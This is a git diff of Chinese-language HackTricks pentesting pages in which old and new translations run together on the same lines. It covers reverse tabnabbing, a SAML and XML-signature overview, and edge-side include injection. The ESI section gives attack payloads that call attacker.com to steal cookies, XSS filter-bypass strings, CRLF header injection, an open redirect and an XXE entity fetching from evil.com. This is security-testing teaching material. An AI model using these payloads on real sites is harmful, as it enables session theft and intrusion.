- **`opener.top`**:此属性返回最层的浏览器窗口。 - **`opener.top`**:此属性返回最层的浏览器窗口。
然而,在域相同的情况下,恶意站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性。 然而,在域相同的情况下,恶意站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript 对象引用所暴露的所有属性。
# 预防措施 # 预防
预防信息记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)中。 预防信息记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)中。
## 参考 ## 参考
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) * [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,90 +1,91 @@
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# SAML概述 # SAML 概述
**安全断言标记语言SAML**使身份提供者IdP能够向服务提供者SP发送授权凭据实现单点登录SSO。这种方法通过允许在多个网站之间使用一组凭据来简化多个登录的管理。它利用XML在IdP和SP之间进行标准化通信,将用户身份的认证与服务授权联系起来。 **安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够用于向服务提供者 (SP) 发送授权凭证,从而促进单点登录 (SSO)。这种方法通过允许在多个网站上使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信,将用户身份的认证与服务授权联系起来。
## SAML和OAuth的比较 ## SAML 与 OAuth 的比较
- **SAML**旨在为企业提供更大的SSO登录安全控制。 - **SAML** 针对企业提供更大的 SSO 登录安全控制。
- **OAuth**旨在更适合移动设备使用JSON并是来自Google和Twitter等公司的协作努力 - **OAuth** 旨在更适合移动设备,使用 JSON并且是 Google 和 Twitter 等公司的协作成果
# SAML认证流程 # SAML 认证流程
**有关更多详细信息,请查看来自[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)的完整文章**。这是一个摘要: **有关更多详细信息,请查看完整帖子 [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**。以下是摘要:
SAML认证过程涉及多个步骤如图示 SAML 认证过程涉及多个步骤,如示:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg) ![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **资源访问尝试**:用户尝试访问受保护的资源。 1. **资源访问尝试**:用户尝试访问受保护的资源。
2. **生成SAML请求**SP未识别用户并生成SAML请求。 2. **SAML 请求生成**SP 不识别用户并生成 SAML 请求。
3. **重定向到IdP**用户被重定向到IdPSAML请求通过用户的浏览器传递。 3. **重定向到 IdP**:用户被重定向到 IdPSAML 请求通过用户的浏览器传递。
4. **IdP接收请求**IdP接收SAML请求。 4. **IdP 接收请求**IdP 接收 SAML 请求。
5. **IdP身份验证**IdP对用户进行身份验证。 5. **IdP 进行身份验证**IdP 对用户进行身份验证。
6. **用户验证**IdP验证用户是否有权访问请求资源。 6. **用户验证**IdP 验证用户访问请求资源的合法性
7. **生成SAML响应**IdP生成包含必要断言的SAML响应。 7. **SAML 响应创建**IdP 生成包含必要断言的 SAML 响应。
8. **重定向到SP的ACS URL**用户被重定向到SP的断言消费者服务ACSURL。 8. **重定向到 SP 的 ACS URL**:用户被重定向到 SP 的断言消费者服务 (ACS) URL。
9. **验证SAML响应**ACS验证SAML响应。 9. **SAML 响应验证**ACS 验证 SAML 响应。
10. **授予资源访问权**:授予对最初请求的资源的访问权限。 10. **资源访问权**:授予对最初请求的资源的访问权限。
# SAML请求示例 # SAML 请求示例
考虑这样一个场景:用户请求访问[https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/)上的安全资源。SP识别到缺乏身份验证并生成一个SAML请求: 考虑用户请求访问 [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/) 上的安全资源的场景。SP 识别到缺乏身份验证并生成 SAML 请求:
``` ```
GET /secure/ HTTP/1.1 GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu Host: shibdemo-sp1.test.edu
... ...
``` ```
原始 SAML 请求如下所示: 原始 SAML 请求如下所示:
```xml ```xml
<?xml version="1.0"?> <?xml version="1.0"?>
<samlp:AuthnRequest ... <samlp:AuthnRequest ...
</samlp:AuthnRequest> </samlp:AuthnRequest>
``` ```
以下是此请求的关键要素 关键请求的主要元素包括
- **AssertionConsumerServiceURL**:指定 IdP 在身份验证后将 SAML 响应发送到的位置。 - **AssertionConsumerServiceURL**:指定 IdP 应该在身份验证后将 SAML 响应发送到的位置。
- **Destination**发送请求的 IdP 地址。 - **Destination**请求发送到的 IdP 地址。
- **ProtocolBinding**:定义 SAML 协议消息的传输方法。 - **ProtocolBinding**:定义 SAML 协议消息的传输方法。
- **saml:Issuer**:标识发起请求的实体。 - **saml:Issuer**:标识发起请求的实体。
生成 SAML 请求后SP 会以 **302 重定向** 响应,将浏览器重定向到 IdP并在 HTTP 响应的 **Location** 标头中编码 SAML 请求。 **RelayState** 参数在整个交易过程中保持状态信息,确保 SP 在接收 SAML 响应时能识别最初的资源请求。 **SAMLRequest** 参数是原始 XML 片段的压缩和编码版本,使用 Deflate 压缩和 base64 编码。 SAML 请求生成后SP 以 **302 重定向** 响应,指示浏览器将 SAML 请求编码在 HTTP 响应的 **Location** 头中发送到 IdP。**RelayState** 参数在整个事务中维护状态信息,确保 SP 在接收到 SAML 响应时识别初始资源请求。**SAMLRequest** 参数是原始 XML 片段的压缩和编码版本,使用 Deflate 压缩和 base64 编码。
# SAML 响应示例 # SAML 响应示例
您可以在[此处找到完整的 SAML 响应](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。响应的关键组件包括: 您可以在 [这里找到完整的 SAML 响应](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。响应的关键组件包括:
- **ds:Signature**这部分是 XML 签名,确保断言的发出者的完整性和真实性。示例中的 SAML 响应包含两个 `ds:Signature` 元素,一个用于消息,另一个用于断言。 - **ds:Signature**此部分是 XML 签名,确保断言发起者的完整性和真实性。示例中的 SAML 响应包含两个 `ds:Signature` 元素,一个用于消息,另一个用于断言。
- **saml:Assertion**:此部分包含有关用户身份以及可能的其他属性的信息 - **saml:Assertion**:此部分包含有关用户身份的信息以及可能的其他属性。
- **saml:Subject**:指定断言中所有语句的主体主题 - **saml:Subject**:指定断言中所有声明的主要主体
- **saml:StatusCode**:表示响应对应请求的操作状态。 - **saml:StatusCode**:表示对应请求的操作状态。
- **saml:Conditions**:详细说明断言的有效时间和指定的服务提供等条件。 - **saml:Conditions**:详细说明断言的有效时间和指定的服务提供等条件。
- **saml:AuthnStatement**:确认 IdP 对断言的主体进行身份验证。 - **saml:AuthnStatement**:确认 IdP 对断言的主体进行身份验证。
- **saml:AttributeStatement**:包含描述断言主体的属性。 - **saml:AttributeStatement**:包含描述断言主体的属性。
在 SAML 响应之后,流程包括 IdP 发出的 302 重定向。这导致向服务提供商的 Assertion Consumer Service (ACS) URL 发送 POST 请求。POST 请求包括 `RelayState``SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。 在 SAML 响应之后,过程包括来自 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务ACSURL 的 POST 请求。POST 请求包括 `RelayState``SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
收到 POST 请求并验证 SAML 响应后,将授予用户最初请求的受保护资源的访问权限。这通过向 `/secure/` 端点发出 `GET` 请求和 `200 OK` 响应来说明,表示成功访问资源。 在接收到 POST 请求并验证 SAML 响应后,用户最初请求的受保护资源将被授予访问权限。这通过对 `/secure/` 端点的 `GET` 请求和 `200 OK` 响应来说明,表示成功访问资源。
# XML 签名 # XML 签名
XML 签名具有多功能性,能够签署整个 XML 树或其中的特定元素。它们可以应用于任何 XML 对象,而不仅仅是响应元素。以下是 XML 签名的关键类型: XML 签名是多功能的,可以对整个 XML 树或其中的特定元素进行签名。它们可以应用于任何 XML 对象,而不仅仅是响应元素。以下是 XML 签名的关键类型:
### XML 签名的基本结构 ### XML 签名的基本结构
XML 签名由如下基本元素组成: XML 签名由基本元素组成,如下所示
```xml ```xml
<Signature> <Signature>
<SignedInfo> <SignedInfo>
@ -102,11 +103,11 @@ XML 签名由如下基本元素组成:
<Object /> <Object />
</Signature> </Signature>
``` ```
每个`Reference`元素表示一个特定的资源被签名可通过URI属性进行识别。 每个 `Reference` 元素表示一个特定的被签名资源,通过 URI 属性可以识别。
### XML签名类型 ### XML 签名类型
1. **包含签名**这种类型的签名是资源的后代意味着签名包含在与签名内容相同的XML结构中。 1. **封装签名**:这种类型的签名是其签名资源的后代,意味着签名包含在与被签名内容相同的 XML 结构中。
示例: 示例:
```xml ```xml
@ -124,9 +125,9 @@ XML 签名由如下基本元素组成:
</samlp:Response> </samlp:Response>
``` ```
包含签名中,`ds:Transform`元素指定通过`enveloped-signature`算法进行包含 封装签名中,`ds:Transform` 元素指定它是通过 `enveloped-signature` 算法进行封装的
2. **包裹签名**:与包含签名相反,包裹签名将被签名的资源包装起来。 2. **封装资源签名**:与封装签名相对,封装资源签名将被签名的资源包裹起来。
示例: 示例:
```xml ```xml
@ -143,7 +144,7 @@ XML 签名由如下基本元素组成:
</ds:Signature> </ds:Signature>
``` ```
3. **分离签名**:这种类型与其签名的内容是分离的。签名和内容是独立存在的,但两者之间保持链接。 3. **分离签名**:这种类型的签名与其签名的内容是分开的。签名和内容独立存在,但两者之间保持链接。
示例: 示例:
```xml ```xml
@ -160,7 +161,22 @@ XML 签名由如下基本元素组成:
</ds:Signature> </ds:Signature>
``` ```
总之XML签名提供了灵活的方式来保护XML文档每种类型满足不同的结构和安全需求。 总之XML 签名提供了灵活的方式来保护 XML 文档,每种类型满足不同的结构和安全需求。
## 参考资料 ## 参考
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) * [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 服务器端包含/边缘端包含注入 # 服务器端包含/边缘端包含注入
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 服务器端包含基本信息 ## 服务器端包含基本信息
**(介绍摘自[Apache文档](https://httpd.apache.org/docs/current/howto/ssi.html))** **(介绍摘自 [Apache 文档](https://httpd.apache.org/docs/current/howto/ssi.html)**
SSI服务器端包含放置在HTML页面中的指令**在服务器上进行评估**,而页面正在提供时。它们让您可以**向现有HTML页面添加动态生成的内容**而无需通过CGI程序或其他动态技术提供整个页面。\ SSI服务器端包含**放置在 HTML 页面中的指令,并在服务器上进行评估**,同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**,而无需通过 CGI 程序或其他动态技术提供整个页面。\
例如,您可以将指令放入现有的HTML页面中,如: 例如,您可以在现有 HTML 页面中放置一个指令,如:
`<!--#echo var="DATE_LOCAL" -->` `<!--#echo var="DATE_LOCAL" -->`
提供页面时,此片段将被评估并替换为其值: 页面被提供时,这个片段将被评估并替换为其值:
`Tuesday, 15-Jan-2013 19:28:54 EST` `星期二, 2013年1月15日 19:28:54 EST`
何时使用SSI何时让页面完全由某个程序生成通常取决于页面的静态部分有多少以及每次提供页面时需要重新计算多少。SSI是向页面添加小块信息的绝佳方式例如上面显示的当前时间。但是如果页面的大部分是在提供时生成的,您需要寻找其他解决方案。 使用 SSI 的决定以及何时让您的页面完全由某个程序生成,通常取决于页面的静态部分有多少,以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法,例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的,您需要寻找其他解决方案。
如果Web应用程序使用扩展名为\*\* `.shtml`、`.shtm`或`.stm` \*\*的文件则可以推断存在SSI但情况并非总是如此 如果 Web 应用程序使用扩展名为 **`.shtml`、`.shtm` 或 `.stm`** 的文件,您可以推断出 SSI 的存在,但这并不是唯一的情况
典型的SSI表达式具有以下格式 一个典型的 SSI 表达式具有以下格式:
``` ```
<!--#directive param="value" --> <!--#directive param="value" -->
``` ```
@ -66,19 +67,19 @@ SSI服务器端包含是放置在HTML页面中的指令**在服务器
<!--#set var="name" value="Rich" --> <!--#set var="name" value="Rich" -->
``` ```
## 边缘包含 ## Edge Side Inclusion
在缓存信息或动态应用程序时可能会出现问题因为内容的一部分可能会在下次检索内容时发生变化。这就是ESI的用途通过使用ESI标记指示需要在发送缓存版本之前生成的动态内容。\ 存在一个问题,即**缓存信息或动态应用程序**作为内容的一部分可能在下次检索内容时**有所不同**。这就是**ESI**的用途通过使用ESI标签来指示**需要生成的动态内容**,然后再发送缓存版本。\
如果攻击者能够在缓存内容中注入ESI标记那么他就可以在将文档发送给用户之前注入任意内容 如果一个**攻击者**能够在缓存内容中**注入一个ESI标签**,那么他就能够在文档发送给用户之前**注入任意内容**
### ESI检测 ### ESI Detection
从服务器响应中的以下标头表示服务器正在使用ESI 以下**头部**在服务器的响应中意味着服务器正在使用ESI
``` ```
Surrogate-Control: content="ESI/1.0" Surrogate-Control: content="ESI/1.0"
``` ```
如果您找不到此标头,则服务器**可能仍在使用ESI**。\ 如果你找不到这个头,服务器**可能仍在使用 ESI**。\
**也可以使用盲目利用方法**,因为请求应该发送到攻击者的服务器: **盲目利用方法也可以使用**,因为请求应该到攻击者的服务器:
```javascript ```javascript
// Basic detection // Basic detection
hell<!--esi-->o hell<!--esi-->o
@ -99,28 +100,28 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response // Valid for Akamai, sends debug information in the response
<esi:debug/> <esi:debug/>
``` ```
### ESI利用 ### ESI 利用
[GoSecure创建了](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)一张表以了解我们可以针对不同支持ESI的软件尝试的可能攻击,具体取决于支持的功能: [GoSecure 创建了](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 一个表格,以了解我们可以针对不同 ESI 能力软件尝试的可能攻击,具体取决于支持的功能:
* **Includes**:支持`<esi:includes>`指令 * **Includes**: 支持 `<esi:includes>` 指令
* **Vars**:支持`<esi:vars>`指令。用于绕过XSS过滤器 * **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
* **Cookie**文档cookie可被ESI引擎访问 * **Cookie**: 文档 cookies 对 ESI 引擎可访问
* **Upstream Headers Required**除非上游应用程序提供头部否则代理应用程序将不会处理ESI语句 * **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句,除非上游应用程序提供头信息
* **Host Allowlist**在这种情况下ESI包含仅可能来自允许的服务器主机例如只有对这些主机才可能进行SSRF * **Host Allowlist**: 在这种情况下ESI 包含仅可能来自允许的服务器主机,使得 SSRF 例如,仅可能针对这些主机
| **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** | | **软件** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: | | :----------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | 是 | 是 | 是 | 是 | 否 | | Squid3 | 是 | 是 | 是 | 是 | 否 |
| Varnish Cache | 是 | 否 | 否 | 是 | 是 | | Varnish Cache | 是 | 否 | 否 | 是 | 是 |
| Fastly | 是 | 否 | 否 | 否 | 是 | | Fastly | 是 | 否 | 否 | 否 | 是 |
| Akamai ESI 测试服务器 (ETS) | 是 | 是 | 是 | 否 | 否 | | Akamai ESI 测试服务器 (ETS) | 是 | 是 | 是 | 否 | 否 |
| NodeJS esi | 是 | 是 | 是 | 否 | 否 | | NodeJS esi | 是 | 是 | 是 | 否 | 否 |
| NodeJS nodesi | 是 | 否 | 否 | 否 | 可选 | | NodeJS nodesi | 是 | 否 | 否 | 否 | 可选 |
#### XSS #### XSS
以下ESI指令将在服务器响应中加载任意文件 以下 ESI 指令将在服务器响应中加载任意文件
```xml ```xml
<esi:include src=http://attacker.com/xss.html> <esi:include src=http://attacker.com/xss.html>
``` ```
@ -132,14 +133,14 @@ Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript> <scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)> <img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
``` ```
#### 取 Cookie #### 取 Cookie
* 远程窃取 cookie * 远程偷取 Cookie
```xml ```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)> <esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" /> <esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
``` ```
* 通过在响应中反射XSS窃取HTTP\_ONLY cookie * 通过在响应中反射来利用XSS窃取HTTP\_ONLY cookie
```bash ```bash
# This will reflect the cookies in the response # This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) --> <!--esi $(HTTP_COOKIE) -->
@ -155,26 +156,24 @@ Use <!--esi--> to bypass WAFs:
<esi:include src="secret.txt"> <esi:include src="secret.txt">
``` ```
#### CRLF #### CRLF
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in HTTP headers. It consists of the ASCII characters 13 (CR) followed by 10 (LF). Attackers can exploit CRLF injection vulnerabilities to manipulate HTTP responses, perform header injection attacks, and potentially execute malicious actions.
```markup ```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/> <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
``` ```
#### 开放式重定向 #### Open Redirect
以下内容将向响应添加一个 `Location` 头部 以下内容将向响应添加一个 `Location` 头部
```bash ```bash
<!--esi $add_header('Location','http://attacker.com') --> <!--esi $add_header('Location','http://attacker.com') -->
``` ```
#### 添加标题 #### 添加头部
* 在强制请求中添加标题 * 在强制请求中添加头部
```xml ```xml
<esi:include src="http://example.com/asdasd"> <esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/> <esi:request_header name="User-Agent" value="12345"/>
</esi:include> </esi:include>
``` ```
* 在响应中添加标头(用于绕过带有 XSS 的响应中的 "Content-Type: text/json" * 在响应中添加头部有助于绕过响应中的“Content-Type: text/json”以进行XSS
```bash ```bash
<!--esi/$add_header('Content-Type','text/html')/--> <!--esi/$add_header('Content-Type','text/html')/-->
@ -182,14 +181,14 @@ CRLF (Carriage Return Line Feed) refers to the sequence of characters used to de
# Check the number of url_decode to know how many times you can URL encode the value # Check the number of url_decode to know how many times you can URL encode the value
``` ```
#### 在添加标头时的 CRLF (**CVE-2019-2438)** #### CRLF 在 Add header (**CVE-2019-2438**)
```xml ```xml
<esi:include src="http://example.com/asdasd"> <esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345 <esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/> Host: anotherhost.com"/>
</esi:include> </esi:include>
``` ```
#### Akamai调试 #### Akamai debug
这将发送包含在响应中的调试信息: 这将发送包含在响应中的调试信息:
```xml ```xml
@ -197,43 +196,44 @@ Host: anotherhost.com"/>
``` ```
### ESI + XSLT = XXE ### ESI + XSLT = XXE
通过为_dca_参数指定`xslt`值,可以实现基于**`eXtensible Stylesheet Language Transformations (XSLT)`**的ESI包含。这种包含导致HTTP代理服务器检索XML和XSLT文件后者过滤前者。这些XML文件可用于_XML External Entity (XXE)_攻击使攻击者能够执行SSRF攻击。然而这种方法的效用有限因为ESI包含本身已经作为SSRF向量。由于底层Xalan库不支持外部DTD不会被处理从而防止本地文件提取。 通过为 _dca_ 参数指定 `xslt` 值,可以包含基于 **`eXtensible Stylesheet Language Transformations (XSLT)`** 的 ESI。此包含导致 HTTP 代理检索 XML 和 XSLT 文件,后者过滤前者。这些 XML 文件可被利用进行 _XML External Entity (XXE)_ 攻击,使攻击者能够执行 SSRF 攻击。然而,这种方法的实用性有限,因为 ESI 本身已经作为 SSRF 向量。由于底层 Xalan 库不支持,外部 DTD 不会被处理,从而阻止了本地文件提取。
```xml ```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" /> <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
``` ```
XSLT文件 XSLT 文件:
```xml ```xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]> <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo> <foo>&xxe;</foo>
``` ```
检查XSLT页面 检查 XSLT 页面:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} {% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md) [xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %} {% endcontent-ref %}
### 参考资料 ### 参考文献
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) * [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) * [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
